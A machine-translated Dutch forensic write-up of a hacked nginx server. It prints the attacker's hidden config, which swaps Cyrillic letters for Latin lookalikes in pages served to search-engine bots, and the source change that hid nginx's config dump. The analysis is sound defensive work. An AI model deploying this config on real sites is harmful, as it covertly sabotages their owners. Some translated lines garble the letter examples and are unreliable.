Wanneer 'a' niet gelijk is aan 'a'. Na één hack

Een zeer onaangenaam verhaal overkwam een ​​van mijn vrienden. Maar hoe onaangenaam het ook was voor Mikhail, voor mij was het net zo vermakelijk.

Ik moet zeggen dat mijn vriend rustig is UNIX-gebruiker: kan het systeem zelf installeren mysql, php en voer eenvoudige instellingen uit nginx.
En hij heeft een tiental of anderhalf websites gewijd aan bouwgereedschap.

Een van deze sites gewijd aan kettingzagen staat stevig in de TOP van zoekmachines. Deze site is een niet-commerciële recensent, maar iemand heeft de gewoonte aangenomen om deze aan te vallen. Dat DDoS, dan brute kracht, dan schrijven ze obscene opmerkingen en sturen ze misstanden naar de hosting en naar de RKN.
Plotseling werd alles gekalmeerd en deze kalmte bleek niet goed, en de site begon geleidelijk de bovenste regels van de zoekresultaten te verlaten.

Wanneer 'a' niet gelijk is aan 'a'. Na een hack

Dat was een gezegde, en vervolgens het verhaal van de beheerder zelf.

Het was bijna bedtijd toen de telefoon ging: “San, wil je niet naar mijn server kijken? Het lijkt mij dat ik gehackt ben, ik kan het niet bewijzen, maar het gevoel heeft me de derde week niet verlaten. Misschien is het gewoon tijd dat ik een behandeling voor paranoia krijg?’

Wat volgde was een discussie van een half uur die als volgt kan worden samengevat:

  • de grond om te hakken was behoorlijk vruchtbaar;
  • een aanvaller kan superuser-rechten verkrijgen;
  • de aanval (als deze heeft plaatsgevonden) was specifiek op deze locatie gericht;
  • probleemgebieden zijn gecorrigeerd en u hoeft alleen maar te begrijpen of er enige penetratie heeft plaatsgevonden;
  • de hack had geen invloed op de sitecode en databases.

Wat betreft het laatste punt.

Wanneer 'a' niet gelijk is aan 'a'. Na een hack

Alleen het witte frontend-IP kijkt de wereld in. Er is geen uitwisseling tussen de backends en de frontend behalve http(s), de gebruikers/wachtwoorden zijn verschillend, er zijn geen sleutels uitgewisseld. Op grijze adressen zijn alle poorten behalve 80/443 gesloten. White backend-IP's zijn slechts bekend bij twee gebruikers, die Mikhail volledig vertrouwt.

Geïnstalleerd op de frontend Debian 9 en tegen de tijd dat de oproep wordt gedaan, wordt het systeem door een externe firewall van de wereld geïsoleerd en gestopt.

“Ok, geef me toegang”, besluit ik de slaap een uurtje uit te stellen. ‘Ik zal het met mijn eigen ogen zien.’

Hier en verder:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Op zoek naar een mogelijke hack

Ik start de server, eerst binnen reddingsmodus. Ik monteer de schijven en blader er doorheen autorisatie-logboeken, geschiedenis, systeemlogboeken, enz., waar mogelijk controleer ik de data van het maken van bestanden, hoewel ik begrijp dat een normale cracker zichzelf achterna zou zijn "geveegd", en dat Misha al veel had "vertrapt" terwijl hij naar zichzelf op zoek was .

Ik begin in de normale modus, nog niet echt begrijpend waar ik op moet letten, ik bestudeer de configuraties. Allereerst ben ik geïnteresseerd in nginx aangezien er over het algemeen niets anders op de frontend staat dan dit.
De configuraties zijn klein, goed gestructureerd in een tiental bestanden, ik blader er gewoon doorheen kat'O één voor één. Alles lijkt schoon, maar je weet nooit of ik iets gemist heb omvatten, laat me een volledige lijst maken:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Ik begreep het niet: "Waar is de vermelding?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Er wordt een tweede vraag toegevoegd aan de lijstvraag: “Waarom zo’n oude versie van nginx?”

Bovendien gaat het systeem ervan uit dat de nieuwste versie is geïnstalleerd:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Ik ben aan het bellen:
- Misha, waarom heb je het weer in elkaar gezet? nginx?
- Wacht, ik weet niet eens hoe ik dit moet doen!
- Oké, ga maar slapen...

Nginx het is duidelijk opnieuw opgebouwd en de uitvoer van de lijst met “-T” is om een ​​reden verborgen. Er zijn geen twijfels meer over hacken en je kunt het gewoon accepteren en (aangezien Misha de server toch heeft vervangen door een nieuwe) het probleem als opgelost beschouwen.

En inderdaad, aangezien iemand de rechten heeft gekregen wortel'Ah, dan heeft het alleen maar zin om te doen systeem opnieuw installeren, en het had geen zin om te zoeken naar wat daar mis was, maar deze keer won de nieuwsgierigheid van de slaap. Hoe kunnen we erachter komen wat ze voor ons wilden verbergen?

Laten we proberen te traceren:

$ strace nginx -T

We kijken ernaar, er zijn duidelijk niet genoeg lijnen in het spoor a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Laten we, voor de lol, de bevindingen vergelijken.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Ik denk dat het een deel van de code is /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

werd naar de vorm gebracht:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

of

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

daarom wordt de vermelding met "-T" niet weergegeven.

Maar hoe kunnen we onze configuratie bekijken?

Als mijn gedachte juist is en het probleem alleen in de variabele zit ngx_dump_config laten we proberen het te installeren met behulp van gdb, gelukkig is er een sleutel --met-cc-opt -g aanwezig en hoop dat optimalisatie -O2 het zal ons geen pijn doen. Tegelijkertijd, omdat ik niet weet hoe ngx_dump_config erin verwerkt kon worden geval 'T':, zullen we dit blok niet noemen, maar installeren met behulp van geval 't':

Waarom je zowel '-t' als '-T' kunt gebruikenBlokverwerking als(ngx_dump_config) gebeurt binnen als(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Natuurlijk, als de code in dit deel wordt gewijzigd en niet in geval 'T':, dan zal mijn methode niet werken.

Test nginx.confNadat het probleem al experimenteel was opgelost, werd vastgesteld dat er een minimale configuratie vereist is om de malware te laten werken nginx type:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

We zullen het kortheidshalve in het artikel gebruiken.

Start de foutopsporing

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

De stappen:

  • stel een breekpunt in de functie in hoofd()
  • start het programma
  • verander de waarde van de variabele die de uitvoer van de configuratie bepaalt ngx_dump_config=1
  • het programma voortzetten/beëindigen

Zoals we kunnen zien, verschilt de echte configuratie van de onze, we selecteren er een parasitair onderdeel uit:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Laten we eens kijken wat hier gebeurt.

Worden bepaald User-Agent's yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Servicepagina's zijn uitgesloten wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

En voor degenen die onder beide bovenstaande voorwaarden vallen

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

in de tekst html-pagina's veranderen 'O' op 'O' и 'A' op 'een':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Dat klopt, de enige subtiliteit is dat 'een' != 'een' evenals 'o' != 'o':

Wanneer 'a' niet gelijk is aan 'a'. Na een hack

Zo ontvangen bots van zoekmachines, in plaats van de normale 100% Cyrillische tekst, aangepaste rommel verdund met Latijn 'een' и 'O'. Hoe dit SEO beïnvloedt durf ik niet te bespreken, maar het is onwaarschijnlijk dat zo’n wirwar aan letters een positieve invloed zal hebben op posities in de zoekresultaten.

Wat kan ik zeggen, jongens met verbeeldingskracht.

referenties

Foutopsporing met GDB
gdb(1) — Linux-manpagina
strace(1) — Linux-manpagina
Nginx - Module ngx_http_sub_module
Over zagen, kettingzagen en elektrische zagen

Bron: www.habr.com

Voeg een reactie